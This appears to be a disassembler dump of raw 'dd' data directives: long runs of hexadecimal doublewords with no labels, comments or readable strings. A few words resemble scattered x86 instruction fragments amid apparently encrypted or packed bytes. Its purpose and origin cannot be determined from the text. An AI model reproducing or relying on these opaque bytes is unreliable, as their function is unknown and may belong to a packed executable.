dd 2F743959h, 56F5BAFEh, 6B08EB1Fh, 0A8812Eh, 2C6102A3h
dd 5F16359Eh, 7B3251D2h, 0A4C72836h, 0C15740EDh, 56FC315Eh
dd 2C9D8E13h, 0CAE34009h, 74E14CD1h, 0C881A4ABh, 0FAB3D172h
dd 0ED45E3CCh, 0A75B351Bh, 0DB5D364Dh, 5288B71h, 55B6E74Ch
dd 0E23B7835h, 8A4BE9B6h, 0F903A7EEh, 0AF589FC1h, 72BFA883h
dd 23660BF4h, 0CD082AF5h, 0DD09E2ABh, 0A15FB19Bh, 0BBFD685Eh
dd 3AC09C8h, 0B1E913B9h, 93AF5884h, 8DAF70B8h, 0BEDD46C4h
dd 65A0AAF7h, 0D7AF5885h, 65204EB1h, 0D249EF38h, 78554151h
dd 65B012DFh, 8B000000h, 0F09D5CFFh, 463F68B5h, 703556A0h
dd 14AD8525h, 9D3B2784h, 58402F6Bh, 0FE3A15AFh, 58402E68h
dd 961F9CAFh, 0DFBFA884h, 0D77C6712h, 9C1C0D92h, 17Eh
dd 52FFC100h, 74198A17h, 52A9531h, 6ECAE340h, 4B0E24FDh
dd 159E0FE6h, 0E624610Eh, 0D3571E3Dh, 3D7D8F35h, 7AF57D7h
dd 65CA8FA4h, 0D6DD5B34h, 0F7135EFFh, 0D6FB3F49h, 6EC9AF57h
dd 0EBE76B94h, 0C25617C7h, 0D693C061h, 0C46DC649h, 55D19CBDh
dd 9D024BEAh, 802D6404h, 0E8EA4B20h, 12DF2B0Ch, 0D59CC023h
dd 43B143h, 0FF8A0000h, 158E135Eh, 1EF53A73h, 5CFD04ADh
dd 92A9511h, 2846DF44h, 100944E5h, 0DD462D93h, 0DFD411DDh
dd 803412h, 0FF0F0000h, 158E135Eh, 0DFF13E77h, 0DB014BD4h
dd 57D769A1h, 0B8F05BAFh, 8F1B56F7h, 1752FFA0h, 94365C8Ah
dd 0AF57D794h, 8320690Fh, 0B9FF58AAh, 57D768AFh, 571A3BAFh
dd 743959CAh, 98D5762Fh, 0D6FF021Bh, 56B4CE4Dh, 0D79A9E28h
dd 4768AF57h, 24746D24h, 509AE64Fh, 0D16BE817h, 0AF5804D9h
dd 0AF7680ABh, 0B6B44EA0h, 7B94A450h, 3521F523h, 0F812DF4Dh
dd 1302637Eh, 5FD9603Ah, 1BDh, 59FF8600h, 6B09EA10h, 0B14DFD22h
dd 4C84A14Ah, 0DFE3A13h, 64FEED1h, 205A8099h, 0AF58A0E8h
dd 782771DAh, 0D0179CD5h, 15333AFBh, 0BF20CE5Ch, 0CF58D099h
dd 9630D66Dh, 0B600AE33h, 0E3AACA35h, 2AFE682h, 0D6418F29h
dd 0FCB5D849h, 2F6605AEh, 0AE3E7882h, 508AB600h, 3ADC3C06h
dd 50D8ED39h, 0E4763AFBh, 2D961BE8h, 3D5BCCF7h, 0D87B2474h
dd 8BAA1591h, 0A1C45DC2h, 6FC44BE8h, 0D59CBFC6h, 2048AB51h
dd 7F6BCF69h, 0B61477C9h, 1FA9214Dh, 0B600021Bh, 0C3554EE9h
dd 10E31h, 0B5E70A00h, 23AED80Eh, 0E1B60007h, 0D06A9036h
dd 0B60006D8h, 206509AAh, 0A102E137h, 0D47FCB82h, 0EABBF8B1h
dd 1A9D024Bh, 4AE9F0B1h, 76598703h, 6179CD9h, 0E62A0692h
dd 3ECD1477h, 56000000h, 84C6B6E7h, 0AF57D784h, 0CEFCD57Eh
dd 57D75CBCh, 0E685262Fh, 302902AFh, 0D72F6BF3h, 0CA612F57h
dd 6ED97A69h, 0D6EA0EB8h, 7FD8AF57h, 65A7CD2Bh, 0AF57D725h
dd 1BE4341Fh, 93h, 0EB5E73Eh, 0ACFAED8h, 9AB5B600h, 8126EA6Ch
dd 9811F954h, 53F2B310h, 238C1Ah, 2162E449h, 6DB5FFDCh
dd 0F7969D06h, 7DDF68BEh, 0DBB9F10Bh, 0A08BB5FFh, 0C1E913B7h
dd 0A7BCAF55h, 0CA571A3Ch, 9EB947D1h, 69ED9011h, 0AF55DBDFh
dd 0E9A0C8BCh, 59935344h, 0F4E98F69h, 0B1AA8364h, 5FC0ED6Ch
dd 609AEC40h, 0BCAF8828h, 0A97DA7Bh, 6C66D111h, 0D4147166h
dd 5C8A630Dh, 0E0949436h, 0C56EBCAEh, 4B7F8953h, 39C35E5Ah
dd 5A71A9D3h, 0F853C35Eh, 0E79CBB0Fh, 0B2D80EB5h, 36741F38h
dd 0D9D25F16h, 45EBB601h, 7C2515D3h, 0D83BB607h, 95BBFDB4h
dd 0B3D11C32h, 8B64B5FAh, 0ABD10D92h, 30C74221h, 5F6766D8h
dd 0B607875Bh, 0FA017C21h, 7476C0E7h, 2CB4F416h, 0A58EB607h
dd 0A0C36CCCh, 53F25DE9h, 446EC1Ah, 0B6072D04h, 2D68A0DAh
dd 0F15AB607h, 71D246F1h, 0FD3D4FF5h, 0C7B6072Ch, 9646926Ch
dd 16B78734h, 68B84482h, 6CD9DB59h, 1D99BCC3h, 5968AFEBh
dd 1C3295DBh, 53776059h, 69979335h, 0C26DDB59h, 2043EC56h
dd 692662A4h, 331CDB59h, 0A609D55Ah, 0C36CCC89h, 8245EAAFh
dd 0E2818829h, 67F11FABh, 57B27DC4h, 0EDB2E64Fh, 299A074Eh
dd 0Ah, 3F59BA0Ch, 0B8F02976h, 58FFC3B8h, 70138C11h, 92BF439h
dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h
dd 92BF60CDh, 50FA4AD7h, 405E089h, 2D000000h, 4, 5C240487h
dd 56243489h, 0C681E689h, 4, 8704EE83h, 895C2434h, 8951241Ch
dd 4C181E1h, 83000000h, 0C8704E9h, 3C895C24h, 3D94BB24h
dd 0F3815349h, 718C216Ah, 174ABE56h, 0D6F762D7h, 0EE81D6F7h
dd 7EECB9FBh, 685EF301h, 7753h, 81242489h, 42404h, 835F0000h
dd 1C8904ECh, 24048124h, 6F86202Eh, 8108478Fh, 202E086Fh
dd 34FF6F86h, 0C4815F24h, 4, 5B2434FFh, 0E904C483h, 0FFF8FE22h
dd 4053568Ah, 9B64C947h, 5D1A2F4Ah, 0AB82D88h, 306AF7Fh
dd 5BE0FFC5h, 0BE66134Dh, 0EA4A6AD4h, 0F61D1659h, 0FD040641h
dd 0CA70C8A6h, 0F2527DAh, 0D6054F58h, 0DD251DD0h, 3D4BAD26h
dd 0B431BB8Dh, 2C1ABE64h, 0C97187F9h, 0E33988F4h, 95570217h
dd 0EC65A897h, 0F240A034h, 59289C8Fh, 0D62F9396h, 373FB872h
dd 0E87ED5CCh, 5, 48DE44CAh, 3800F7Ch, 0F000000h, 0FC5BF0B7h
dd 0DAF4C381h, 890F0000h, 5, 5CF68166h, 0FFFF33D0h, 8E0F1F34h
dd 6, 1298F681h, 815A57C7h, 3C588BEEh, 29EA813Ch, 8126FF8Fh
dd 65D372E8h, 1FF28110h, 0F15290Bh, 0EA81C9B7h, 293CEFD9h
dd 1489CA8Bh, 13E83Bh, 0EA4E0000h, 0D3119566h, 0C71A391Ah
dd 0A11173B1h, 0CB0AF7DFh, 0D08166D6h, 0F583725h, 0EF83CEB7h
dd 9695B903h, 0F4F6FF9h, 285h, 81F18B00h, 0FF25A4FFh, 8C850FFFh
dd 0B8FFFFFFh, 1E5A6A73h, 0ECE9h, 0
dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
dd 0E6000077h, 277h, 5 dup(0)
dd 0E7A5FD00h, 77h, 2Bh dup(0)
dd 600h, 118AC500h, 9C662232h, 0D3EF3506h, 753878BBh, 1565CF3Dh
dd 9E002232h, 0E6E777C1h, 960765AEh, 0BD789D8Fh, 1C132234h
dd 388FACB1h, 61668E9Ah, 9E35142Bh, 11779AF2h, 90EF1132h
dd 13CE8F87h, 0B4CAD9BFh, 0C6992498h, 0A8E54969h, 13CEA5DBh
dd 45713032h, 11779A61h, 90EF1132h, 13CE8F87h, 8BFDD9BFh
dd 0C6992498h, 45064969h, 4BA43F3Dh, 7403B3B2h, 156624DBh
dd 19445032h, 9479171Ah, 156640DEh, 3162AB32h, 594225B3h
dd 4D703202h, 0AF560807h, 1563CB24h, 0C67F1132h, 755270F0h
dd 0AC002080h, 960752F7h, 0BAE6D98Fh, 91698834h, 15664457h
dd 82BFA252h, 46E39C53h, 0E0602765h, 1576C13Dh, 1E8F2232h
dd 0A0661132h, 91734A2Ch, 8AF670D8h, 0C599B605h, 156617DBh
dd 0EFE84132h, 989DE072h, 0BA31A1B7h, 0FEF1E34h, 1A668832h
dd 156650B9h, 1569CB32h, 0EA101132h, 0FA808ED4h, 116255BEh
dd 0BB7589FBh, 1AB6EE1Ah, 156680BDh, 17E44B32h, 75662232h
dd 0C0E3D753h, 43602027h, 0FC3524CEh, 15662239h, 0E9827BCFh
dd 9A3D561Bh, 4A2DF63Ch, 156628DAh, 0D49CD832h, 408FE314h
dd 1AE8B7B0h, 156622BAh, 7D074A32h, 89CE3060h, 1573CC3Dh
dd 58F2232h, 18661132h, 51422452h, 1B8CE232h, 0A8FF3295h
dd 0E9CF0D98h, 1AF33DCDh, 1C8F429Ah, 43662232h, 9EB80867h
dd 8A0EB34Fh, 7C17C1BFh, 75062499h, 1566973Dh, 48F8832h
dd 0D7664432h, 8DE2F169h, 0B5D2C001h, 515D4146h, 0DDB239Bh
dd 0EA07DB53h, 90EFE4E2h, 13CEA88Fh, 154BCA3Dh, 0FC062232h
dd 15661126h, 0F9B380FCh, 0B974C700h, 32B1C40Ch, 37F3C090h
dd 847DF72Ah, 156649DBh, 548C9932h, 4F327157h, 8FD60C19h
dd 0D207ED05h, 0BD7023B7h, 15661134h, 15696132h, 0D8744432h
dd 6018A7E9h, 0EA6EB99Fh, 240EC56Ah, 0C0E382EFh, 50608A27h
dd 0DFE74052h, 53BD6DBh, 1560AD69h, 0BAF2232h, 0A75E423Ch
dd 15726153h, 21074432h, 0C669AFD3h, 775D6ECAh, 0F7C2F147h
dd 48F19F75h, 7C0EA011h, 75E8635Bh, 94001C84h, 74855EE1h
dd 9431DB52h, 58723BF9h, 0EA07D021h, 0BD57BD87h, 9D694234h
dd 15661136h, 0BED03154h, 156657DAh, 67EE5E32h, 0C60C735Ch
dd 0C3510917h, 0DCEEDD67h, 0D75366C5h, 90EB7069h, 13CEB2F1h
dd 0C2E72252h, 1B8F7A71h, 0B6661132h, 1D93B06Eh, 20DC0910h
dd 5F4390EAh, 0C599703Bh, 156682DBh, 0B70C0F32h, 0DE7B3C84h
dd 9C52DF21h, 0BD6699B7h, 68E2434h, 0CE662232h, 8DAB409Eh
dd 328E8230h, 0B91A969Fh, 57AC5C32h, 91695609h, 15668832h
dd 17ED4B6Ch, 75662232h, 90A07053h, 13CE9DE7h, 0FC9A2471h
dd 15662237h, 0B98D6C09h, 4B0EE9B3h, 75FA2359h, 7493DA52h
dd 156605DAh, 1046032h, 5FFEC157h, 1283E53Ch, 2831EBBDh
dd 70ECD044h, 156FADC9h, 6DCA2232h, 0FC8A0B8Eh, 4A9472A2h
dd 0ECD3BB53h, 1A608A03h, 156630B1h, 68EE832h, 82664432h
dd 26B83314h, 0FFDEB8EDh, 6DE47012h, 3C7A6E30h, 1A3F8A8Ch
dd 156611B9h, 0FD06E932h, 15664438h, 46CB0C4Dh, 6FA23D73h
dd 753E44FDh, 74067B84h, 90EB4353h, 13CE2BF1h, 15670B3Dh
dd 0EA934432h, 9C6942E2h, 15661130h, 749AD162h, 95D6C1BBh
dd 9B69249Dh, 1566113Fh, 156680DBh, 79121132h, 1B41D1C3h
dd 0C0E3D7A8h, 41602027h, 7D4F2CCBh, 7306CC50h, 0EDEDE1B9h
dd 0ECD37753h, 1A60EC03h, 156634B4h, 1577F832h, 0E8A58832h
dd 63CA2E47h, 853CB13Bh, 60802D77h, 987D7B17h, 0BD5C87B7h
dd 0C599DE34h, 1577F852h, 29C68832h, 494BEF81h, 0F2300430h
dd 0C72A0283h, 1A043B57h, 156644B0h, 90EF4332h, 13C99186h
dd 156685DBh, 826D1332h, 231C57BFh, 6E3FD025h, 90A0CAEEh
dd 13CE51E7h, 1DE62D77h, 75661132h, 0CFE7EECBh, 7D070BB0h
dd 0CF061AF0h, 15679A3Dh, 0EA9E8832h, 0BD57BD87h, 156FCB34h
dd 8AAA1132h, 0A50218A1h, 98E87E88h, 0BD5CE1B7h, 0FCE77134h
dd 2E64ED3Ah, 1569CD3Dh, 1C8E2232h, 8D661132h, 0DE8CED21h
dd 0B9EF8C4h, 0C5994368h, 0ADE398CBh, 0E06027B2h, 26FBF9B1h
dd 1A66249Ah, 156706B7h, 156A6132h, 0D17A4432h, 0DE3CD6D8h
dd 0A91676B4h, 90A03DE0h, 13CE51E7h, 156FCB77h, 2FD61132h
dd 24889DFEh, 7D28B659h, 0EF465CB4h, 0ECD3EECEh, 1A602003h
dd 156643BCh, 14E72D32h, 0EC661132h, 2FA50DBFh, 48F429Ah
dd 1F662232h, 344FD8F0h, 5F071507h, 9C9411Fh, 7A09D44Eh
dd 7306C1CDh, 0AAF5C28Ah, 2C43B9F3h, 90EFD753h, 13C9918Eh
dd 0C0E34ECEh, 5960EC27h, 0C2ED4452h, 1A07C8B9h, 156680B8h
dd 17E84B32h, 75662232h, 0C5A57953h, 0EA9E6814h, 0BD57BD87h
dd 19EA2D34h, 75661132h, 0C82A3054h, 1566C13Dh, 0FC072232h
dd 15661139h, 49A5F511h, 0DEDBC46Ah, 98F4C3C1h, 0BD5CD2B7h
dd 15746134h, 64324432h, 0A7C0FA4Bh, 41BA84A1h, 4D76C814h
dd 90FF666h, 1B8FF2CDh, 59661132h, 0EB8E2342h, 0B5407082h
dd 7DECDF04h, 0D5E398E6h, 756027B2h, 86F395B3h, 0DEE73C80h
dd 42F7F10Eh, 15806153h, 98694432h, 1566223Eh, 1560983Dh
dd 9B698832h, 15664432h, 0B3A7F4h, 0E034179Ah, 5F82855Ah
dd 9E06248Eh, 0DCE744C9h, 1A07B32Fh, 15668BBAh, 0ECED2232h
dd 7CD3DD53h, 0FC60B91Dh, 15668822h, 0C8DB8E69h, 5B9E2EE0h
dd 0FFBD0DAEh, 3D249153h, 2FA5C1BFh, 9469249Ah, 15661121h
dd 15606152h, 0E2E44432h, 65C3DCE5h, 52FDFEB3h, 0EA078D1Ah
dd 9C6924E2h, 15662234h, 15669D3Dh, 9E008832h, 90EF25ECh
dd 13C9A28Eh, 1567903Dh, 0D3938832h, 0BD7391B7h, 7D937034h
dd 0B32A5B7Ah, 84E13252h, 94067A7Fh, 9BD5E5F0h, 0DDE77775h
dd 74075D95h, 3A0FF1CDh, 9F69249Ah, 15661133h, 0D6E305CEh
dd 7560EC08h, 9400E1B9h, 74015ED0h, 9C9A58CDh, 0BAE684B7h
dd 1568CB34h, 0DE021132h, 0AD7668AAh, 0ADCB4109h, 17B6F21Ch
dd 0B394F4h, 1A348E9Ah, 15664CB6h, 17E92D32h, 75661132h
dd 0A18CE053h, 0EA9EB970h, 0BD57DB87h, 90EBE434h, 13CEB2F1h
dd 0FCB6BBC7h, 1566223Dh, 8B4112EEh, 0A55BC960h, 0D0DB464Fh
dd 9C491B7Bh, 0BD5280B7h, 9269E834h, 15664434h, 1566A93Dh
dd 0A2691132h, 90A0E9FDh, 13CE51E7h, 14E92D45h, 0EC661132h
dd 82CE2B5Ah, 0A099BCC1h, 13CE2F1Fh, 0CDE74352h, 704F9166h
dd 90EB256Ch, 13CE18F1h, 0E9B6EECAh, 26DF0DBBh, 9769429Ah
dd 15662235h, 15679E3Dh, 0D39F8832h, 0BD7391B7h, 0A3067034h
dd 18E71ACh, 0D668832h, 0A438B910h, 0F8B3C916h, 0DF100ED2h
dd 0AD9C1EF8h, 4AB51C17h, 156633DBh, 0F3C83832h, 6F2FECB5h
dd 105E48A0h, 0D59ECFEh, 74071CC0h, 0C8579F5Ah, 78FBDB8h
dd 0C6662232h, 5654BD54h, 0D8404388h, 8C5BC15h, 80B1968Ch
dd 0ECD3EEBAh, 0FC602003h, 15664421h, 9377DC99h, 75683CEFh
dd 0BA50CA95h, 0DF5D23B5h, 9835FD2Fh, 0BD5CD2B7h, 0C5997D34h
dd 156654DBh, 41EB4632h, 820CDFA3h, 73EB06E0h, 0BABF2F04h
dd 14E3AB52h, 0E960B900h, 0B30DF4h, 0FC30429Ah, 15662239h
dd 158E5CEAh, 3808768h, 7DB85B0Ah, 0C1794F0Bh, 9669E952h
dd 15668837h, 82B6C554h, 0A09943DDh, 13CE1EA7h, 156682DBh
dd 947E4032h, 0DFE9759Eh, 983E7B0Bh, 0BE0FF9B7h, 1BE54B34h
dd 0FC662232h, 1566113Bh, 4DDBD9Dh, 7FDC8ABh, 1572CB46h
dd 826A1132h
dd 0BED8A2A6h, 0FE13C0BCh, 0AB247DD6h, 98120541h, 0C59901D6h
dd 156EC43Dh, 96692232h, 15661130h, 90EFE952h, 13CE6C9Fh
dd 1567A13Dh, 0D3931132h, 0BD735DB7h, 0AE060334h, 26CCF9A5h
dd 51C7953h, 1D8F09EEh, 35664432h, 0B7FF6DB9h, 0EAF513B1h
dd 0BD577187h, 0DAE72434h, 7D8B9D53h, 156601DAh, 0DFDCE832h
dd 531D7FD4h, 5511CEBAh, 0B29BC449h, 0C6E7EEEBh, 743860DDh
dd 1563CB52h, 0F0441132h, 94E707C6h, 0A6CE24DAh, 90EB4373h
dd 13CE2BF1h, 156B0F3Dh, 1D8F4432h, 0B4662232h, 962C060Bh
dd 75599B18h, 1561ACCEh, 4FC72232h, 0FE14CE44h, 0A99936B9h
dd 743E6BEFh, 0FC06F2CDh, 15661121h, 8B61B61Dh, 55E2FF80h
dd 0B3C1967Ch, 0AC15C865h, 736B18E0h, 9C078AB9h, 0BD71F3B7h
dd 23D47134h, 0D39AE9CAh, 0BD7391B7h, 95066534h, 0A2691CC2h
dd 0F70EE9EBh, 1AEC4B87h, 156623B1h, 0A099E932h, 13CEB9CBh
dd 0D6E3C9CBh, 1A608A08h, 156610B5h, 0C5997132h, 156ECD3Dh
dd 0ED062232h, 0EFB09054h, 90EFE9D7h, 13C9C4D2h, 1561A43Dh
dd 0A1061132h, 37A708C8h, 1577AD53h, 0A88D2232h, 359DD6C6h
dd 0B27F2451h, 90E1B9C7h, 0D2F06D50h, 0BD6AD0B7h, 1566F034h
dd 0FD06BD32h, 15662221h, 0EC15E4Bh, 30365A4Bh, 0C3AEFB92h
dd 7F850AE2h, 4D02EBD8h, 0B0AC0954h, 0A8E5255Ah, 13CE39CFh
dd 0BDE21E32h, 7566882Ah, 9E696E86h, 15662231h, 74A89A54h
dd 0B30DF4h, 0FC2A429Ah, 15662226h, 4F9642B4h, 46ECFEEDh
dd 25A49F06h, 72539154h, 0A6C166CBh, 0CF7A615Ah, 0AA0024EBh
dd 0EA07CC96h, 0BD57E887h, 18E98734h, 75664432h, 0CBE6A89h
dd 15E51E00h, 74668832h, 0AB60FB52h, 0ADDF66FDh, 7437315Bh
dd 2FA50DBFh, 0EA9F429Ah, 0A26942E2h, 1577F8CBh, 85298832h
dd 0E3F98D52h, 0A6FAD12Ah, 0D5E4E1B9h, 7452979Ch, 95AAC1BBh
dd 9969249Dh, 1566112Eh, 1570053Dh, 48F4432h, 6B662232h
dd 0A70893ECh, 0F57B8D59h, 9FFC59Dh, 2B53BA14h, 0B394F4h
dd 1A2A8E9Ah, 156645B4h, 0DB0ED732h, 1ABB65ECh, 156689B1h
dd 0A099BD32h, 13CE13CBh, 156A933Dh, 9B698832h, 15664434h
dd 1566AA3Dh, 0FC061132h, 1566883Bh, 10AF72D6h, 0B4E346F1h
dd 740642B9h, 90EBE968h, 13CE7EF1h, 1567A53Dh, 0EA9E1132h
dd 14EE87E2h, 0E0664432h, 95B6A7BBh, 0D39A179Dh, 0BD735DB7h
dd 7D930834h, 0A2E7A00Dh, 0ECD3EECBh, 0FC602003h, 1566443Ch
dd 2B5C680Eh, 97CA8756h, 0EAE3CA16h, 90EB470Dh, 13CE18F1h
dd 61DD7752h, 0D4E7EE1Eh, 0EA07D60Bh, 12EB2DE2h, 75661132h
dd 46BC0354h, 1E8F256Dh, 8E662232h, 6D4CD71Eh, 8D48B828h
dd 90EFC99Fh, 13C9A2E6h, 0FADE7752h, 90A0E952h, 13CE51E7h
dd 156DCB7Eh, 0DBF11132h, 2BA2B8E2h, 209EBDFCh, 557E4AACh
dd 128FA21Dh, 0A668832h, 0D105FC1Ah, 0A099C671h, 13CE20CBh
dd 156687DBh, 8AF9EC32h, 0E321353Eh, 0C1D119E2h, 92AF705Fh
dd 2FA5C1BFh, 0FC06249Ah, 15661126h, 0C6B7D031h, 74F1CBE8h
dd 0AF86400Eh, 0F6DB3978h, 2DCEB5DBh, 15664ADBh, 8C7F3432h
dd 0E48B5D36h, 694D5AD0h, 74761445h, 1B8FF2CDh, 0F7661132h
dd 0A3E190E8h, 0F5158EDBh, 0A0318097h, 0C1E398F7h, 0FC6027B2h
dd 15664435h, 18520FE1h, 0D360BC41h, 0BD735DB7h, 7D9F0234h
dd 0AFB82426h, 156A903Dh, 97698832h, 15664434h, 1566A23Dh
dd 1A061132h, 156689BDh, 86D4B832h, 0ECD3DD53h, 0FC60B903h
dd 15668834h, 1578C7ECh, 90EB43C2h, 13CE2BF1h, 1560063Dh
dd 0A3064432h, 743D7210h, 78FC1CDh, 66668832h, 1E7EDADFh
dd 51947BA4h, 0A2885274h, 5A245E58h, 0C9E3CDC4h, 0FC608DB2h
dd 1566113Ch, 5F2E042Ah, 6E44F2ECh, 9B8AD33Dh, 90A08DB5h
dd 13CE9DE7h, 6F0EB875h, 75E7FE22h, 75A89A54h, 0AE0043B9h
dd 7407CB8Fh, 249F97CDh, 18F179Ah, 94668832h, 3A99B1EBh
dd 9C31F48Bh, 3C5D0DCEh, 4921D561h, 984BEB0Eh, 0BD5CE1B7h
dd 0C599ED34h, 156680DBh, 49F4EE32h, 0E7DEC3ABh, 0F1E398DFh
dd 1A6027B2h, 156640B9h, 74064232h, 0C0E3D753h, 52602027h
dd 156EC13Dh, 99692232h, 15661130h, 0B90EE952h, 0EC89C3BCh
dd 249F97CDh, 78F179Ah, 50668832h, 7FBA6745h, 9CFEA8BFh
dd 853EDDBDh, 0D7A01CC1h, 0D6E3C91Fh, 75608A08h, 1A21CAB2h
dd 15668ABBh, 743D1332h, 9C9FF2CDh, 0BAE6F9B7h, 9169E834h
dd 15664433h, 0DFD92DCAh, 0C0E3D753h, 52602027h, 1561CD3Dh
dd 9D692232h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 0BD57DB87h
dd 14EF1E34h, 0E9668832h, 2FA5C1BFh, 9C69249Ah, 15661135h
dd 73BF0352h, 0EA07B3B9h, 0E2E742E2h, 6EFE820Eh, 15660D3Dh
dd 9C074432h, 0BAE6CEB7h, 90A0E934h, 13CE9DE7h, 110EB175h
dd 0E0DCE30Bh, 249FA4CDh, 989A8E9Ah, 0BD5C87B7h, 0C599DA34h
dd 15661DDBh, 0BEF83632h, 16EA651Ch, 0BA7F4625h, 90EFE412h
dd 13C908C2h, 156CC43Dh, 73062232h, 9400DEB9h, 74B626ECh
dd 153FF9B1h, 1A66249Ah, 156680B7h, 14E48732h, 0E9664432h
dd 0B3A7F4h, 0EC21179Ah, 674BEF5Ah, 1F8FBCD2h, 0AE662232h
dd 21B484F3h, 7975592Ah, 0ECD3BBB4h, 75608A03h, 156601DBh
dd 0A6495132h, 0F4007A1Eh, 941096BDh, 7288E250h, 1A06E99Ah
dd 156646B4h, 0FC3C7032h, 15661126h, 3C77A36Fh, 2F0CD76Bh
dd 1C06F26Ch, 833E3367h, 0FECBFE4Ah, 0D6E3C953h, 0FC608A08h
dd 15661137h, 0EDA57169h, 75B6BBFDh, 0E7ED1084h, 0E1E39853h
dd 0FC6027B2h, 15664438h, 1C4797A9h, 9200AD36h, 90A0B3D6h
dd 13CE51E7h, 1BE02D75h, 0FC661132h, 1566883Bh, 38CF9EAFh
dd 6041A210h, 0A6D7799Eh, 9069061Bh, 15664435h, 0F5E74452h
dd 0EA0746A1h, 0BD577187h, 90EBB834h, 13CE18F1h, 0CEC1E52h
dd 0FC668832h, 15664426h, 4EDA654Fh, 0C98D9C37h, 4E822F60h
dd 0B4DD615Fh, 221F8453h, 2E09D6B3h, 0EA07A32Ah, 90EFB1E2h
dd 13C9A2CAh, 0D5D91E52h, 1AE58753h, 0FC664432h, 15662238h
dd 0F6FCE598h, 0EA320BAEh, 90A09306h, 13CE37E7h, 1560F871h
dd 92B98832h, 73768AE5h, 632C855Ah, 1568F8F2h, 0A52A8832h
dd 73DFDB00h, 2F83B288h, 0CD6D5B1Dh, 249F3DCDh, 188F429Ah
dd 0F6662232h, 7D1CEEE8h, 0C1F6EB96h, 0D0CD0FB6h, 2FA5A7BFh
dd 9F69179Ah, 1566882Ch, 157EC83Dh, 68F2232h, 2C661132h
dd 76868994h, 51E7C4DEh, 0BC873BDh, 0F5567DF7h, 0C599184Ah
dd 1AADCF52h, 156624B8h, 15E01E32h, 74668832h, 1567CD3Dh
dd 9C932232h, 0BAE6EDB7h, 98697D34h, 1566443Eh, 1560AE3Dh
dd 9E691132h, 15668832h, 0B3C1F4h, 1A2A249Ah, 156619BAh
dd 17E68732h, 75664432h, 798D4A53h, 0AB06EA54h, 58C115AAh
dd 6D08A2B3h, 0EA073CD2h, 0BD6B3C87h, 0ED06E834h, 0BCD92253h
dd 90EB4343h, 13CE2BF1h, 1567063Dh, 0EA9A4432h, 108FDAE2h
dd 4E661132h, 0BD91056Bh, 94F6C1BBh, 58F249Dh, 59661132h
dd 4D69E4D8h, 0DDAB450Fh, 40DFDEE6h, 0D3CC1760h, 0BD735DB7h
dd 188F0034h, 5A662232h, 8721128Eh, 6FD1F685h, 94A65FC2h
dd 0D5E74252h, 76F9E8DBh, 74125AB2h, 9B332C53h, 75069941h
dd 0CAE67052h, 9E00E916h, 0A09925E8h, 13CE13CBh, 157F9E3Dh
dd 18F8832h, 0F5664432h, 0A2DE6EF3h, 446BC336h, 2CA8F62Eh
dd 0D2385F84h, 987D9787h, 0BD5CD2B7h, 14E08734h, 0E0664432h
dd 9069F2CDh, 1566113Fh
dd 156680DBh, 0AE0D0C32h, 0A7C81F8Dh, 15E39899h, 0ED6027B3h
dd 0B3C1F4h, 7525249Ah, 14EE1ECBh, 0E0668832h, 7B9A2C53h
dd 43069EBCh, 19A89054h, 1A07D16Ch, 156645B8h, 0A099DE32h
dd 13CE20CBh, 156061C7h, 0E4EE4432h, 996A6405h, 2FA594BFh
dd 9A698E9Ah, 1566442Bh, 156636DBh, 63155132h, 0E22744F4h
dd 7B02D27Eh, 9018376Eh, 16CC7B11h, 0FCB67727h, 15664435h
dd 930685ACh, 9CB9E14Ch, 0BAE78CB7h, 1C8FBC34h, 74662232h
dd 499E8B31h, 3DB7374Dh, 0B3C1F4h, 7535249Ah, 0CBEDB983h
dd 2BCCE053h, 0EA9A8222h, 0BD57DB87h, 128F7134h, 64668832h
dd 99D980BDh, 58E62F3h, 0F4661132h, 0CDBA7118h, 77F5D501h
dd 0A8415AAFh, 94EB6A6Ah, 0F5AC87F8h, 98071D7Ch, 0BD5CE1B7h
dd 2EC1E34h, 0FC668832h, 15664420h, 0CA4E6E63h, 6FCA7F46h
dd 7C016DD5h, 9DC877CDh, 0C59974F6h, 1574993Dh, 188F8832h
dd 2D664432h, 62125413h, 6347298Ah, 2DDEFF46h, 946EC1BBh
dd 9E69249Dh, 1566113Ah, 0B5AC0952h, 7460795Ch, 126F9FB1h
dd 1A66179Ah, 156557B6h, 1A062432h, 67D6F885h, 78F7153h
dd 0E1668832h, 84D791E5h, 3C1CD453h, 0D0D8ADCEh, 2417747Eh
dd 0EC0725B6h, 0B3A7F4h, 1A20179Ah, 1566A0BBh, 1C8F2432h
dd 72662232h, 3FA12C5Ch, 74CC08DDh, 156656DAh, 4268F32h
dd 67BB0CE2h, 0F6159363h, 0EF54E935h, 4CDCFB2Eh, 0DB577953h
dd 1E8F72A4h, 0B0664432h, 6DA4716Ah, 0F008CEF0h, 0A09974FAh
dd 13CE75CBh, 11EE2D52h, 73661132h, 1AE8D888h, 156641B4h
dd 0CBE74432h, 980790DCh, 0BD5C4BB7h, 0D6E72434h, 2A199CAFh
dd 156600DBh, 0BF4CC032h, 0BE213671h, 0B2FA0513h, 3F552A6Ch
dd 0EA0764D1h, 90EFB8E2h, 13C9A356h, 157E9B3Dh, 73068832h
dd 1B8F95B9h, 28662232h, 0F07483AAh, 0A2090696h, 1903E187h
dd 90A043C7h, 13CE04E7h, 0C30E7174h, 0E99AE308h, 249F97CDh
dd 9F69179Ah, 15668825h, 1577CC3Dh, 198F2232h, 70661132h
dd 0AD3DF9F4h, 86C6ADEEh, 98FA9FB1h, 0BD5CD2B7h, 15756134h
dd 0D59E4432h, 200515B6h, 0EAF716A5h, 0CB3C3199h, 1F23EA34h
dd 75B6DD83h, 0FBE77764h, 1A3C343Bh, 15665DB6h, 1572CB32h
dd 0A7EC1132h, 6B1E463Dh, 0DAE027C0h, 6182402Ah, 919EA36Fh
dd 9C077C1Dh, 0BAE730B7h, 156FCB34h, 7D951132h, 114D5295h
dd 0D3DE6EB4h, 0BD73F7B7h, 90695734h, 1566883Dh, 15664EDBh
dd 107AC432h, 0F5D8A0CAh, 7DA14034h, 879AE032h, 9E004252h
dd 156FF8C0h, 0B6ED8832h, 133753F4h, 74638EDDh, 15661BDBh
dd 0ECBE7A32h, 38BF8DA0h, 74F9DEE0h, 249FA4CDh, 989E8E9Ah
dd 0BD5C87B7h, 0EDED4234h, 749F9A54h, 470658CDh, 4DB7CF54h
dd 6DE3AB53h, 1A60BEB3h, 156689B9h, 90A0BD32h, 13CE37E7h
